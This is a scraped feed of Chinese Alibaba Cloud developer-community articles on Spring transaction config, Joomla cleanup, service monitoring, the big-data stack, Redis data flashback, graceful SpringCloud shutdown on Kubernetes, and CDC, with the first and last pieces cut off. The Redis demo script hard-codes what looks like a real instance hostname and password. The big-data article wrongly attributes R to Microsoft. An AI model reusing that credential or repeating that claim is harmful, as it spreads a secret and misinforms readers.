        <!-- other <bean/> definitions here -->
    
    </beans>

    JtaTransactionManager不需要了解数据源(或任何其他特定资源),因为它使用了容器的全局事务管理基础结构。

    dataSource bean的先前定义使用jee名称空间中的标记。有关更多信息,参考JEE Schema

    你还可以轻松使用Hibernate本地事务,如以下示例所示。在这种情况下,你需要定义一个Hibernate LocalSessionFactoryBean,你的应用程序代码可使用该Hibernate LocalSessionFactoryBean获取Hibernate Session实例。

    DataSource bean定义与先前显示的本地JDBC示例相似,因此在以下示例中未显示。

    如果通过JNDI查找数据源(由任何非JTA事务管理器使用)并由Java EE容器管理,则该数据源应该是非事务性的,因为Spring框架(而不是Java EE容器)管理事务。

    在这种情况下,txManager bean是HibernateTransactionManager类型。就像DataSourceTransactionManager需要引用数据源一样,HibernateTransactionManager需要引用SessionFactory。以下示例声明了sessionFactorytxManager bean:

    <bean id="sessionFactory" class="org.springframework.orm.hibernate5.LocalSessionFactoryBean">
        <property name="dataSource" ref="dataSource"/>
        <property name="mappingResources">
            <list>
                <value>org/springframework/samples/petclinic/hibernate/petclinic.hbm.xml</value>
            </list>
        </property>
        <property name="hibernateProperties">
            <value>
                hibernate.dialect=${hibernate.dialect}
            </value>
        </property>
    </bean>
    
    <bean id="txManager" class="org.springframework.orm.hibernate5.HibernateTransactionManager">
        <property name="sessionFactory" ref="sessionFactory"/>
    </bean>

    如果使用Hibernate和Java EE容器管理的JTA事务,则应使用与前面的JDBC JTA示例相同的JtaTransactionManager,如以下示例所示:

    <bean id="txManager" class="org.springframework.transaction.jta.JtaTransactionManager"/>

    如果使用JTA,则无论使用哪种数据访问技术(无论是JDBCHibernate JPA或任何其他受支持的技术),事务管理器定义都应该相同。这是由于JTA事务是全局事务,它可以征用任何事务资源。

    在所有这些情况下,无需更改应用程序代码。你可以仅通过更改配置来更改事务的管理方式,即使更改意味着从本地事务转移到全局事务,反之亦然。

    作者

    个人从事金融行业,就职过易极付、思建科技、某网约车平台等重庆一流技术团队,目前就职于某银行负责统一支付系统建设。自身对金融行业有强烈的爱好。同时也实践大数据、数据存储、自动化集成和部署、分布式微服务、响应式编程、人工智能等领域。同时也热衷于技术分享创立公众号和博客站点对知识体系进行分享。关注公众号:青年IT男 获取最新技术文章推送!

    博客地址: http://youngitman.tech

    CSDN: https://blog.csdn.net/liyong1028826685

    微信公众号:

    技术交流群:

    ]]>
    如何在Joomla中删除组件菜单链接-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 有时,Joomla用户已删除组件,但仍在其管理区域中看到该组件的菜单项。

    在本教程中,您将学习如何摆脱不必要的菜单项。Akeeba订阅将用作示例组件。

    您可以在下图中看到以语言字符串形式渲染的不需要的菜单项:

    deleted-components-menu-01.png

    要彻底删除它,请打开您站点的数据库。

    找到#__menu表,其中#__是您的数据库前缀。单击此数据库表。

    deleted-components-menu-02.png

    浏览表记录,直到找到由不需要的组件创建的记录。

    单击删除。

    deleted-components-menu-03.png

    您将看到“确认”框,提示您确认您确实要删除数据库表记录。

    单击确定。

    deleted-components-menu-04.png

    您将看到您的组件记录不再在表中列出:

    deleted-components-menu-05.png

    在您的Joomla控制面板中,转到“组件”菜单。您将看到那里也没有列出不需要的菜单项:

    deleted-components-menu-06.png

    ]]>
    架构设计 | 分布式体系下,服务分层监控策略-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 一、分布式故障

    分布式系统的架构,业务开发,这些在良好的思路和设计文档规范之下,是相对来说好处理的,这里的相对是指比较分布式架构下生产环境的突然故障。

    在实际的开发中,有这样一个很妖娆的情况:越是核心复杂的业务,越是担心出问题,越容易出问题。

    13-1.png

    所以当核心服务的链路出现故障时,如何快速定位问题就是一件很头疼的事情,尤其是一些特殊情况下,问题很模糊很难复现,外加客户或者领导催促,这种场景心里阴影是大部分开发都有的。更有甚者,可能问题发生的切入点的开发是某人负责的,实际问题是发生在请求链路的其他服务上,这种情况遇多了,甩锅水平会直线上升。

    越是复杂的系统,越是经验丰富的开发或者运维,对监控系统就越是有执念,尤其是全链路的监控,底层,网络,中间件,服务链路,日志观察预警等,用来快速定位问题,省时省心。

    二、全链路监控

    1、监控层次

    在分布式系统中,需要监控的体系和层次极其复杂,通常整体上划分为三个层次:应用服务,软件服务,硬件服务。

    13-2.png

    通常情况,运维管理硬件服务,开发管理应用和软件服务。

    2、应用服务

    应用层为开发的业务逻辑服务,也是最容易突发问题的一个层面,当在一家公司待久了,因为开发过多个业务线,就会感觉自己不是开发,是个打杂的,每天都要分出大量时间处理各种问题。应用层监控涉及下面几个核心模块:

    请求流量

    任何服务,高并发的流量都会暴露各种服务问题,尤其核心接口的流量更是监控的重点。

    服务链路

    一次请求发生问题,快速判断问题所在的服务,或者哪些服务之间,这对快速处理问题是至关重要的。

    日志体系

    核心接口日志记录也是必备的功能,通常情况下基于日志体系的分析结果,可以明确系统的异常点,重点优化。

    3、软件服务

    为了解决分布式系统的各种复杂业务场景,通常会引入各种中间软件来做支撑,例如必备的数据库,缓存,消息MQ等,通常这些中间件都会有自带的监控管理端口。

    数据库:较多使用Druid监控分析;

    消息队列:常用RocketMQ和控制台;

    Redis缓存:提供命令获取相关监控数据;

    还有一些公司甚至直接在中间件层开发一套管理运维和监控的聚合平台,这样更容易从整体上分析问题。

    4、硬件服务

    硬件层面,运维最关注的三大核心内容:CPU、内存、网络。底层硬件资源爆发的故障,来自上层的应用服务或者中间件服务触发的可能性偏高。

    硬件层面的监控有许多成熟的框架,例如zabbix,grafana等,当然这些组件功能很丰富,不仅仅在硬件层应用。

    5、雪崩效应

    有些故障导致大面积服务瘫痪,也称为雪崩效应,可能故障源没有快速处理,也没有熔断机制,导致整个服务链路全部垮掉,这是常见的问题,所以在处理故障时,要学会基于全栈监控信息,全局关联分析核心故障点,快速切断单点服务的故障,保证整个系统的可用性。

    三、注意事项

    监控系统虽然作用很大,但是实际搭建的时候难度还是很大,需要有较好的意识,不是业务开发那种感觉,方方面面需求都需要处理,做监控系统的基本策略如下。

    1、选择性

    不是所有服务的所有环境,和所有接口都需要监控,通常都是监控核心链路,核心中间件,和服务所在环境。

    例如:交易链路,交易库,和部署的环境;或者大客户高并发业务,一旦出问题需要及时响应,立即处理。说的直接点,带来收益的服务是需要重点关注的。

    非关键服务即使出现问题,是有缓冲时间的,所以不需要花费精力添加监控,在做监控系统的时候存在这样一句话:简单的链路添加监控,复杂了容易出错;复杂链路添加监控,更复杂更容易出错,然而这样却是为了更好的解决故障。

    2、独立性

    监控系统的本身发生故障,不能影响正常业务流程,即使在一定情况下没有监控信息,也不能因为监控服务影响正常业务服务。

    3、整体性

    聚合的监控系统可以观察监控链路的全局状态,这样可以快速定位故障坐标,可以关联性分析问题原因。

    4、预警性

    例如CPU突然升高,某个中间件服务突然停止,内存占用过高,这些可以基于监控系统做预警通知,然后邮件或者消息通知到相关负责人,达到快速响应的目的,这个场景大部分开发都熟悉,且有心理阴影。

    ]]>
    大数据简介,技术体系分类整理-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 一、大数据简介

    1、基础概念

    大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合,是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产。大数据技术则主要用来解决海量数据的存储和分析。

    2、特点分析

    大数据的5V特点(IBM提出):Volume(大量)、Velocity(高速)、Variety(多样)、Value(低价值密度)、Veracity(真实性)。

    3、发展过程

    Google在2004年前后发表的三篇论文,分别是文件系统GFS、计算框架MapReduce、NoSQL数据库系统BigTable。海量数据文件,分析计算,并存储,确立了大数据的基本原理和思路。

    天才程序员DougCutting,也是Lucene、Nutch项目发起人。根据Google论文原理初步实现类似GFS和MapReduce的功能,后来发展成为大名鼎鼎的Hadoop。

    再后来,Hadoop经过高速的发展,已经形成一个生态体系,基于Hadoop之上,有实时计算,离线计算,NoSQL存储,数据分析,机器学习等一系列内容。

    从这一系列事情发展看技术规律:Google业务实践中创造性的提出论文作为基础,业务的成长和需求,迫使技术不断更新换代。所以业务是技术不断发展的关键。

    二、Hadoop框架

    1、Hadoop简介

    注意这里基于Hadoop2.X版本描述。后续如果没有特别说明,都是2.7版本。

    01-1.png

    Hadoop是一个由Apache基金会所开发的分布式系统基础架构;

    提供海量的数据存储能力,和分析计算能力;

    作为Apache的顶级项目,包含众多子项目是一个生态圈;

    2、框架特点

    可靠性:Hadoop按位存储和存储多个数据副本,提供可靠服务;

    扩展性:Hadoop利用计算机集群分配数据并完成计算任务,可以方便地扩展到数以千计的节点中;

    高效性:基于MapReduce思想,为海量的数据提供高效的并行计算;

    容错性:自动保存数据的多个副本,并且能够自动将失败的任务重新分配;

    3、组成结构

    HDFS存储

    • NameNode

    存储文件相关的元数据,例如:文件名,文件目录,创建时间,权限副本数等。

    • DataNode

    文件系统存储文件块数据,以及和数据块ID的映射关系。

    Yarn调度

    负责资源管理和作业调度,将系统资源分配给在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。

    MapReduce计算

    MapReduce将计算过程分为两个阶段:Map阶段并行处理输入数据,Reduce阶段对Map结果进行汇总。

    三、大数据技术栈

    01-2.png

    1、Kafka中间件

    开源组织: Apache软件

    应用场景:

    Kafka是一种高吞吐量的分布式发布订阅消息系统,通过磁盘数据结构提供消息的持久化,这种结构对于即使数以TB的消息存储也能够保持长时间的稳定性能。高吞吐量:即使是非常普通的硬件Kafka也可以支持每秒数百万的消息。支持通过Kafka服务器和消费机集群来分区消息。支持Hadoop并行数据加载。

    2、Flume日志系统

    开源组织: Cloudera公司

    应用场景:

    Flume是Cloudera提供的一个高可用的,高可靠的,分布式的海量日志采集、聚合和传输的系统,Flume支持在日志系统中定制各类数据发送方,用于收集数据;同时,Flume提供对数据进行简单处理,并写到各种数据接受方(可定制)的能力。

    3、Sqoop同步工具

    开源组织: Apache软件

    应用场景:

    Sqoop是一款开源的工具,主要用于在Hadoop、Hive与传统的数据库例如:MySql间进行数据的传递,可以将一个关系型数据库(例如:MySQL,Oracle 等)中的数据导进到Hadoop的HDFS中,也可以将HDFS的数据导进到关系型数据库中。

    4、HBase数据库

    开源组织: Apache软件

    应用场景:

    HBase是一个分布式的、面向列的开源数据库,HBase在Hadoop之上提供了类似于Bigtable的能力。HBase是Apache的Hadoop项目的子项目。HBase不同于一般的关系数据库,它是一个适合于非结构化数据存储的数据库,并且基于列的而不是基于行的存储模式。

    5、Storm实时计算

    开源组织: Apache软件

    应用场景:

    Storm用于实时计算,对数据流做连续查询,在计算时就将结果以流的形式输出给用户。Storm相对简单,可以与任何编程语言一起使用。

    6、Spark计算引擎

    开源组织: Apache软件

    应用场景:

    Spark是专为大规模数据处理而设计的快速通用的计算引擎,拥有Hadoop的MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。Spark是在Scala 语言中实现的,它将Scala用作其应用程序框架。

    7、R语言

    开源组织: 微软公司

    应用场景:

    R是用于统计分析、绘图的语言和操作环境。R是属于GNU系统的一个自由、免费、源代码开放的软件,它是一个用于统计计算和统计制图的优秀工具。

    8、Hive数仓工具

    开源组织: 脸书公司

    应用场景:

    hive是基于Hadoop的一个数据仓库工具,用来进行数据提取、转化、加载,这是一种可以存储、查询和分析存储在Hadoop中的大规模数据的机制。hive数据仓库工具能将结构化的数据文件映射为一张数据库表,并提供SQL查询功能,能将SQL语句转变成MapReduce任务来执行。

    9、Oozie组件

    开源组织: Apache软件

    应用场景:

    Oozie是一个管理Hdoop作业(job)的工作流程调度管理系统。

    10、Azkaban组件

    开源组织: Linkedin公司

    应用场景:

    批量工作流任务调度器。用于在一个工作流内以一个特定的顺序运行一组工作和流程。Azkaban定义了一种KV文件格式来建立任务之间的依赖关系,并提供一个易于使用的web用户界面维护和跟踪的工作流。

    11、Mahout组件

    开源组织: Apache软件

    应用场景:

    Mahout提供一些可扩展的机器学习领域经典算法的实现,旨在帮助开发人员更加方便快捷地创建智能应用程序。Mahout包含许多实现,包括聚类、分类、推荐过滤、频繁子项挖掘。

    12、ZooKeeper组件

    开源组织: Apache软件

    应用场景:

    ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

    四、技术栈分类

    存储体系:Hadoop-HDFS、HBase、MongoDB、Cassandra

    计算体系:Hadoop-MapReduce、Spark、Storm、Flink

    数据同步:Sqoop、DataX

    资源调度:YARN、Oozie、Zookeeper

    日志收集:Flume、Logstash、Kibana

    分析引擎:Hive、Impala、Presto、Phoenix、SparkSQL

    集群监控:Ambari、Ganglia、Zabbix

    五、源代码地址

    GitHub·地址
    https://github.com/cicadasmile/big-data-parent
    GitEE·地址
    https://gitee.com/cicadasmile/big-data-parent
    ]]>
    穿越数据的变迁(数据闪回PR)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 在当下数据为王的时代,客户的业务数据是一个企业的核心资产,各个行业客户都在不断追求在其使用的数据库上有更为强大、细粒度的数据备份恢复功能,以应对各样的数据丢失、业务逻辑错误带来的商业风险。例如,在游戏行业里,有大量客户存在“游戏回档”的实际需求,以应对运营或故障风险。再例如,2020年某上市公司出现删库跑路事件,公司市值遭到严重打击。对于上述情况,传统的定时或手动备份的数据由于存在备份时间点与黑天鹅事件之间的时间差,因此均不是理想完备的解决方案。对于防范上述数据风险,最理想的功能是,数据能够以秒级颗粒度恢复至黑天鹅事件发生的瞬时时间点上。

    在传统关系型数据库中(如Oracle)提供了数据闪回功能,帮助客户完成数据的按时间恢复。而在主流的高速缓存产品Redis、Memcached上却鲜有类似的功能,个中原因主要是考虑到作为缓存产品,其中的数据可以丢失,而通过背后配备的持久化、事务性的关系型数据库可以对缓存进行重新加载。但是,随着大量客户对于低延迟的业务应用性能要求不断的提高,对于一些对延迟要求极高的场景下,例如游戏行业,越来越多的客户选择化简架构,将Redis直接作为内存数据库来使用,这便对Redis的数据安全可恢复提出了更大的挑战。阿里云Redis作为行业内的领军产品,拥有国内最强大的Redis产品系列,在托管社区Redis版本的同时大力发展自主研发、兼容Redis协议增强型键值存储产品Tair(阿里云Redis企业版)。其中“更安全”是阿里云Redis向广大客户提供服务的重要部分,针对上述客户诉求,阿里云在Tair中的性能增强版上特别推出了数据闪回功能,帮助客户实现在其指定时间点上恢复指定Redis实例数据的能力,提前为客户可能出现的风险准备好一剂“后悔药”。功能示意如下图所示:
    使用这个能够帮助用户穿越数据变迁的黑科技只需简单几步。
    • 开通阿里云Redis企业版性能增强版实例
    • 开启数据闪回功能
    • 正常读写Redis数据库
    • 一旦发生即时数据恢复要求,选择对应实例和欲恢复的时间点,产生新实例
    • 切换应用连接的实例地址
    下面以一个简单的示例演示:

    首先,我们先对一个阿里云Tair实例写入一些数据,写入脚本如下:
    % cat preparerepldata.sh

    !/bin/bash

    echo "started at: date +%m%d%H%M%S"
    for i in seq -f "%010g" 1 $1
    do

    namerand=$[ $RANDOM % 3 ]
    timerand=`date +%m%d%H%M%S`
    nationrand=$[ $RANDOM % 3 ]
    redis-cli -h   r-t4nq2viog3z4rshoxxpd.redis.singapore.rds.aliyuncs.com -a 'gnuhpc:Pa$$w0rd'   hset userprofile foo$timerand $namerand
    sleep 0.75 #consider the   latency for connection establish

    done

    echo "ended at: date +%m%d%H%M%S"

    我们运行上述脚本以大约一秒的速率写入带时间戳的KV到一个叫做userprofile的hash结构中,一共写入120个Key,代表业务写入。

    % bash preparerepldata.sh 120
    OK
    OK

    % redis-cli -h hosts -a 'username:password' hkeys userprofile | wc -l

     120

    % redis-cli -h hosts -a 'username:password' hkeys userprofile | sort -n
    foo0803202709

    foo0803202909

    如命令执行所示,我们是在08月03日20:27:09 –08月03日 20:29:09 写入了120条数据。

    随后在业务运行中,发现08月03日20:28:10之后,上述业务运行中发生数据风险,我们需要将新创建一个数据库,将原数据库在此时间点之前的数据恢复到这个新的数据库实例中。

    我们到阿里云Redis控制台的备份恢复功能,选择数据闪回功能,点击“马上闪回”按钮,选择克隆源类型是“过去时间点”,然后选择要恢复的时间点:

    新建的实例就是我们要将指定时间点数据恢复到的目标实例,这里值得一提的数据闪回只要求目标实例容量大于等于源实例,而架构则可以与源实例不同,也就是说用户可以自由选择目标实例为标准主从、集群或者读写分离架构的任何一个。

    点击支付后等待片刻后实例创建完毕并完成数据恢复。

    我们连接新创建的实例,看看究竟数据恢复的情况如何?

    % redis-cli -h hosts -a 'username:password' hkeys userprofile | wc -l
    62

    % redis-cli -h hosts -a 'username:password' hkeys userprofile | sort -n
    foo0803202709

    foo0803202810
    可以看到,我们已经成功的恢复数据到了08月03日 20:28:10的数据,在此时间点之后的数据修改均没有生效,用户完美地规避了指定的时间点之后发生的数据风险。

    作为全球数据库领域最领先的企业之一,阿里云数据库的核心理念是更快、更稳、更安全(Faster, Stronger, Securer)的数据库,致力于为用户提供拥有极致性能、高稳定性和更加安全可靠的数据库产品。作为“更安全”的践行,阿里云Redis团队在Redis企业版(Tair)中提供的数据闪回功能,具备了用户指定秒级时间点的数据恢复功能,通过此功能为企业的高贵数据资产做最高级别的保驾护航,客户可以更加放心的将Redis作为内存数据库使用以简化架构与业务的快速迭代。另外,我们云数据库专属集群MyBase还支持Redis,这是阿里云专为大中型企业用户定制优化的解决方案,填补了市场空白,具有资源独享、自主可运维、多数据库混合部署等特点,让用户既享受到云数据库的灵活性,又满足企业对数据库合规性、高性能和安全性要求。
    ========微博消息版========
    让您不再有“从删库到跑路”的噩梦!阿里云Redis企业版性能增强版特别推出数据闪回功能,帮助客户实现在其指定时间点上恢复指定Redis实例数据的能力,详见https://help.aliyun.com/document_detail/148479.html

    ]]>
    2020云栖大会来了!阿里云数据库6大专场重磅发布技术突破-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 6个分论坛预热广告.png

    ]]>
    SpringCloud 应用在 Kubernetes 上的最佳实践 — 线上发布(优雅上下线)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 头图.png

    作者 | 骄龙

    导读:本篇是《SpringCloud 应用在 Kubernetes 上的最佳实践》系列文章的第八篇,主要介绍了如何做到流量的无损上/下线。更多相关文章阅读可查看文末。

    前言

    上篇我们讲的是发布回滚过程,尤其是在 Kubernetes 的回滚过程中,原生有提供 Rollout 到上一个版本的能力,能保证我们在发布过程中遇到问题时快速回退的能力。然而在每一次上线的过程中,我们最难处理的就是正在运行中的流量,如何做到流量的无损上/下线,是一个系统能保证 SLA 的关键。

    介绍

    什么是优雅上线?就如下面这个房子一样,未建好的房子,人住进去会有危险,房子应该建好,装修好,人才能住进去。

    1.jpeg

    那么如何做到优雅上线呢?我们先来看一个 WEB 应用的加载过程,就像上面造房子一样,是个漫长的过程:

    2.png

    应用的加载是漫长的,在加载过程,服务是不可预期的;如过早地打开 Socket 监听,则客户端可能感受到漫长的等待;如果数据库、消息队列、REDIS 客户端未完成初始化,则服务可能因缺少关键的底层服务而异常。

    所以在应用准备完成后,才接入服务,即做到优雅上线。当然应用上线后,也可能因如数据库断连等情况引起服务不可用;或是准备完成了,但在上线前又发生数据库断连,导致服务异常。为了简化问题,后面两种情况作为一个应用自愈的问题来看待。

    什么是优雅下线?与建房子相反就像下面的危房一样,人住在里面很危险,人应该先从房子出来,然后推掉房子。

    3.jpeg

    那么如何做到优雅下线呢?我们先来看一个 WEB 应用的停止过程:

    4.png

    所以关闭服务接入(转移服务接入),完成正在处理的服务,清理自身占用的资源后退出即做到优雅下线。

    如何实现优雅下线

    从上面介绍看,似乎不难,但事实上,很少有系统真正实现了优雅上下线。因为软件本身由无数各种各样相互依赖的结构组成,每个结构都使用一些资源,污染一些资源;通常在设计之初优雅上下线也不被作为优先考虑的需求,所以对于下线的过程,通常都没被充分考虑,在设计上通常要求:

    • 结构(组件)应形成层次关系;
    • 用户线程需能收到停止信号并响应退出;否则使用 daemon 线程;
    • 结构应按依赖关系自下向上构建:就像建房子一样,自内向外构建而成;
    • 结构应按依赖关系自上向下销毁:就像拆房子一样,自外向内拆解。

    优雅下线实现路径

    大致分为一个完整的过程,需要经历一下四个关键的节点,如下图:

    5.png

    • 接收信号:停止信号可能从进程内部触发(比如 Crash 场景),如果自退出的话基本上无法保证优雅下线;所以能保证优雅下线的前提就是需要正确处理来自进程外部的信号;
    • 停止流量接收:由于在停止之前,我们会有一些正在处理的请求,贸然退出会对这些请求产生损耗。但是在这段时间之内我们绝不能再接收新的业务请求,如果这是一个后台任务型(消息消费型或任务调度型)的程序,也要停止接收新的消息和任务。对于一个普通的 WEB 场景,这一块不同的场景实现的方式也会不一样,下面的 Srping Cloud 应用的下线流程会详细讲解;
    • 销毁资源:常见的是一些系统资源,也包括一些缓存、锁的清理、同时也包括线程池、关闭阻塞中的的 IO 操作,等到我们这些服务器资源销毁之后,就可以通知主线程退出。

    Spring Cloud 应用

    一个 Spring boot 应用通常由应用本身和一系列的 Starter 组成,对于 Spring boot 体系,需要了解如下核心概念:

    • Starter:提供一系列的模块,由 Spring boot 核心通过 auto-configuration 机制加载;
    • Bean:一切皆 Bean,starter 模块的加载产生各种 Bean;
    • Context:Bean 的容器,容器拥有生命周期,Bean 需要感知生命周期事件;
    • LifeCycle:生命周期管理接口;
    • ApplicationEvent:模块之间,模块与容器之间,通过发送或监听事件来达到互相通讯的目的。

    所以对于应用上下线这个主题,我们应尽可能利用其丰富的原生事件机制,Spring Cloud 中内置的 Starter 机制针对整个生命周期管理的过程有了很好的封装。

    Spring Cloud 应用的优雅上线

    Spring Cloud 启动过程触发回调及事件如下,详细介绍见 application-events-and-listeners,简单罗列如下:

    6.png

    Spring 自身及其组件大量基于这些事件构建,如响应 WebServerInitializedEvent 事件向服务注册中心注册服务,对于应用一般可利用:

    • InitializingBean or @PostConstruct:在 Bean 装配完后,被回调,如完成数据源初始化连接;
    • ApplicationReadyEvent、ApplicationRunner、CommandLineRunner:如开始监听消息队列,处理消息;注册到SLB等;先通过配置禁用服务的自动注册,在这里做手动服务注册。

    Spring Cloud 应用的优雅下线

    Spring Cloud 本身可以作为一个应用单独存在,也可以是依附在一个微服务集群中,同时还能作为反向代理架构中的一个网关。不同的场景,需要用到的方法也不一样,我们就常用的三种场景针对性的加以说明。

    场景一:直接访问 WEB 服务

    7.png

    客户端直接访问 WEB 应用,在这个用例下,优雅下线需要做的事情有:

    • 正在处理的请求完成处理
    • 应用自身完成安全下线并正常退出
    • 客户端感知到连接异常

    Spring-boot 从 2.3 开始内置了 WEB 应用优雅下线的能力,需配置如下,具体介绍参见 graceful-shutdown

    server.shutdown=graceful
    spring.lifecycle.timeout-per-shutdown-phase=20s

    其实现方式:

    • 首先关闭 socket 监听,等待正在处理的所有请求完成:具体可见 WebServerGracefulShutdownLifecycle,通过 getPhase 返回最大值,达到早于 WEB 容器关闭执行的目的;
    • 然后触发 WEB 容器关闭:具体可见 WebServerStartStopLifecycle。

    但其实,对于未被 WEB 容器完全接收的请求,客户端仍会收到连接被重置的异常,只是这个时间窗口极小。该需求从提出到实现的时间跨度较长,感兴趣的可参见 github 上的讨论

    场景二:经由反向代理的服务优雅下线

    8.jpeg

    因为实例前面还有反向代理,相比上个场景,需要新增“反向代理下线”这个处理流程。即若应用已经下线,但反向代理未摘除该应用实例时客户端将感知到失败。一般采取的策略有:

    • 反向代理支持失败转移到其它应用实例;
    • 在关闭应用前,如将健康探测接口返回不健康以及等待足够的超时,让反向代理感知并摘除实例的路由信息。

    对于仍在使用 2.3 以前版本的 Spring Cloud 应用,可参见一个方案,实现方式:

    • 使用自身的 shutdownHook 替换 Spring 的 shutdownHook;
    • 先改变 health 状态,等待一段时间,让反向代理感知并摘除实例的路由信息。

    场景三:在微服务集群中下线单个服务

    9.jpeg

    在优雅关闭 Spring Cloud 应用自身之前,我们除了完成场景一之中的目标之外,还需要将自身节点从注册中心中下线。目前在 Spring Cloud 中针对注册中心下线的场景暂未提供开箱即用的方法,下面介绍两种可能的实现方案:

    方案 1:先通过脚本、或通过监听 ContextClosedEvent 反注册服务摘除流量;等待足够时间,如使用 ribbon 负载均衡器,需要长于配置的刷新时间;对于基于 HTTP 的服务,若 Spring Cloud 版本小于 2.3,则时间需加上预期的请求处理时间;

    方案 2:客户端支持连接感知重试,如重试,实现方案可参考Spring-retry,针对连接异常 RemoteConnectFailureException 做重试。

    针对 Eureka 中的场景,有一个很好的参考的例子,请参见:https://home1-oss.github.io/home1-oss-gitbook/release/docs/oss-eureka/GRACEFUL_SHUTDOWN.html

    Kubernetes 下的机制

    Kubernetes 中针对应用的的管控提供了丰富的手段,正常的情况它提供了应用生命周期中的灵活扩展点,同时也支持自己扩展它的 Operator 自定义上下线的流程。

    10.jpeg

    抛开实现成本,以下线的情况来说,一个 Kubernetes 应用实例下线之前,管控程序会向 POD 发送一个 SIGTERM 的信号,应用响应时除了额外响应这一个信号之外,还能触发一段自定义的 PreStop 的挂在脚本,代码样例如下:

    yaml
    lifecycle:                   
          preStop:                   
            exec:                    
              command:               
              - sh
              - -c
              - "sleep 5"

    上面的例子一点特殊说明:因服务控制面刷新与 POD 收到 SIGTERM 同时发生,所以这里通过 sleep 5 让服务控制面先完成刷新,应用进程再响应 SIGTERM 信号。

    Spring Cloud 与 Kubernetes 的结合

    Kubernetes 会根据健康检查的情况来更新服务(Service)列表,其中如果 Liveness 失败,则会触发容器重建,这是一个相对很重的操作;若 Readiness 失败,则 Kubenetes 则默认不会将路由服务流量到相应的容器;基于这一机理,Spring Cloud 2.3 开始,也做了原生的的支持,具体参见 liveness-and-readiness-probes-with-Spring-boot,这些健康检查端点可对接 Kubnetes 相应的 probe:

    • /actuator/health/liveness
    • /actuator/health/readiness

    同时,Spring Boot 内置了相应的 API、事件、Health Check 监控,部分代码/配置片段如下:

    java
    // Available as a component in the application context
    ApplicationAvailability availability;
    LivenessState livenessState = availabilityProvider.getLivenessState();
    ReadinessState readinessState = availabilityProvider.getReadinessState();
    ....
    // 对于应用,也可以通过API,发布相应的事件,来改变应用的状态
    AvailabilityChangeEvent.publish(this.eventPublisher, ex, LivenessState.BROKEN);
    // 同时,应用监控也可影响这健康状态,将监控与健康关联,在K8S体系下,可以实现如离群摘除,应用自愈的能力
    // application.properties
    management.endpoint.health.group.liveness.include=livenessProbe,cacheCheck

    回到 Spring Cloud 应用 在微服务集群中下线单个服务 的章节中,我们的应用如果跑在 Kuberntes 中,如果我们使用了原生的 Kubernetes 机制去管理应用生命周期的话,只需要发布一个应用事件 (LivenessState.BROKEN) 即可实现优雅下线的能力。

    EDAS提供内置的优雅上下线能力

    通过上面两部分了解了 Spring Cloud 和 K8s 中的机制,EDAS 基于原生的机制,衍生出来了自己的方法,除了最大化利用这些能力:主动更新 Liveness、Readiness、Ribbon 服务列表之外,我们还提供了无代码侵入的开箱即用的能力,列举如下:

    后续

    这一章节之后,和发布相关的内容都已经更新完毕,下一章节我们要开始高可用部分的能力,高可用也是系统保障 SLA 的关键部分,简单的理解是流量洪峰到来如何保证系统不会受到影响?当然我们还有一部分要达成的是洪峰退去之后资源是否存在浪费?敬请期待 ...

    相关文章推荐:

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    数据湖构建服务搭配Delta Lake玩转CDC实时入湖-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 什么是CDC

    Change Data Capture(CDC)用来跟踪捕获数据源的数据变化,并将这些变化同步到目标存储(如数据湖或数据仓库),用于数据备份或后续分析,同步过程可以是分钟/小时/天等粒度,也可以是实时同步。CDC方案分为侵入式(intrusive manner)和非倾入性(non-intrusive manner)两种。

    1.png

    侵入式

    侵入式方案直接请求数据源系统(如通过JDBC读取数据),会给数据源系统带来性能压力。常见的方案如下:

    • 最后更新时间(Last Modified)

    源表需要有修改时间列,同步作业需要指定最后修改时间参数,表明同步某个时间点之后变更的数据。该方法不能同步删除记录的变更,同一条记录多次变更只能记录最后一次。

    • 自增id列

    源表需要有一个自增id列,同步作业需要指定上次同步的最大id值,同步上次之后新增的记录行。该方法也不能同步删除记录的变更,而且老记录的变更也无法感知。

    非侵入式

    非侵入性一般通过日志的方式记录数据源的数据变化(如数据库的binlog),源库需要开启binlog的功能。数据源的每次操作都会被记录到binlog中(如insert/update/delete等),能够实时跟踪数据插入/删除/数据多次更新/DDL操作等。

    示例:

    insert into table testdb.test values("hangzhou",1);
    update testdb.test set b=2 where a="hangzhou";
    update testdb.test set b=3 where a="hangzhou";
    delete from testdb.test where a="hangzhou";

    2.png

    通过将binlog日志有序的回放到目标存储中,从而实现对数据源的数据导出同步功能。

    常见的CDC方案实现

    开源常见的CDC方案实现主要有两种:

    Sqoop离线同步

    sqoop是一个开源的数据同步工具,它可以将数据库的数据同步到HDFS/Hive中,支持全量同步和增量同步,用户可以配置小时/天的调度作业来定时同步数据。

    sqoop增量同步是一种侵入式的CDC方案,支持Last Modified和Append模式。
    3.png

    缺点:

    • 直接jdbc请求源库拉取数据,影响源库性能
    • 小时/天调度,实时性不高
    • 无法同步源库的删除操作,Append模式还不支持数据更新操作

    binlog实时同步

    binlog日志可以通过一些工具实时同步到kafka等消息中间件中,然后通过Spark/Flink等流引擎实时的回放binlog到目标存储(如Kudu/HBase等)。

    4.png

    缺点:

    • Kudu/HBase运维成本高
    • Kudu在数据量大的有稳定性问题, HBase不支持高吞吐的分析
    • Spark Streaming实现回放binlog逻辑复杂,使用java/scala代码具有一定门槛

    Streaming SQL+Delta Lake实时入湖方案

